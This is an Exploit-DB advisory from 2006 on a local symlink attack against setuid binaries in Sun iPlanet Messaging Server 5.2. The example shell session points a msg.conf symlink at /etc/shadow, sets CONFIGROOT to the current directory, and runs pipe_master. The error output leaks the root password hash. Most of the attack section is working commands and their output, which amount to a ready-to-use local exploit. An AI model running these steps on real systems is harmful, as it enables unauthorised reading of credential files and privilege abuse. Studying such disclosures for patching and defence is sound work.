Sun iPlanet Messaging Server 5.2 HotFix 1.16 - Root Password Disclosure

EDB-ID:

1924

CVE:

N/A

Author:

php0t

Type:

local

Platform:

Multiple

Published:

2006-06-18

Date: 14 Jun 2006
Vendor: Sun Microsystems, Inc.
Name: iPlanet Messaging Server
Version: 5.2 HotFix 1.16 (built May 14 2003)
Vuln: msg.conf symlink attack
Severity: high


Software description
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The iPlanet Messaging Server is a software product that provides a
centralized location for the exchange of information through the sending
and receiving of messages. The product is designed for
telecommunications providers, service providers, and enterprises that
offer messaging capabilities to employees, partners, and customers. The
iPlanet Messaging Server delivers a Web-based messaging platform capable
of serving tens of millions of users, and also provides value-added
differentiated services, including outsourcing, wireless ,and unified
messaging services.


Vulnerability desciption
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Setuid programs part of the iPlanet Messaging Server try to read the
configuration file msg.conf.
If the environment variable CONFIGROOT is set, the configuration is read
from that directory.
A symlink attack is possible, and as a result it is possible to read the
first line of any file with uid=0.

Example
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test@sunbox:/tmp$ /iplanet/iMS5/bin/msg/imta/bin/version
iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)
libimta.so 5.2 HotFix 1.16 (built 12:32:17, May 14 2003)
SunOS sunbox 5.9 Generic_118558-22 sun4u sparc SUNW,Sun-Fire-280R Solaris
test@sunbox:/tmp$
test@sunbox:/tmp$ ls -la /iplanet/iMS5/bin/msg/imta/bin/pipe_master
-rws--s--x    1 root     mail       446864 Sep 22  2005 /iplanet/iMS5/bin/msg/imta/bin/pipe_master
test@sunbox:/tmp$
test@sunbox:/tmp$ ln -s /etc/shadow msg.conf
test@sunbox:/tmp$
test@sunbox:/tmp$ export CONFIGROOT=.
test@sunbox:/tmp$
test@sunbox:/tmp$ /iplanet/iMS5/bin/msg/imta/bin/pipe_master
[14/Jun/2006:11:13:49 +0200] sunbox [119]: General Error: func=_configdrv_file_readoption; error=option name should be followed by '='; line=root:qW1HFEa1MCD0w:11821:::::: ERROR: Configuration database initialization failed - see default logfile
test@sunbox:/tmp$

Vulnerable
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iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)

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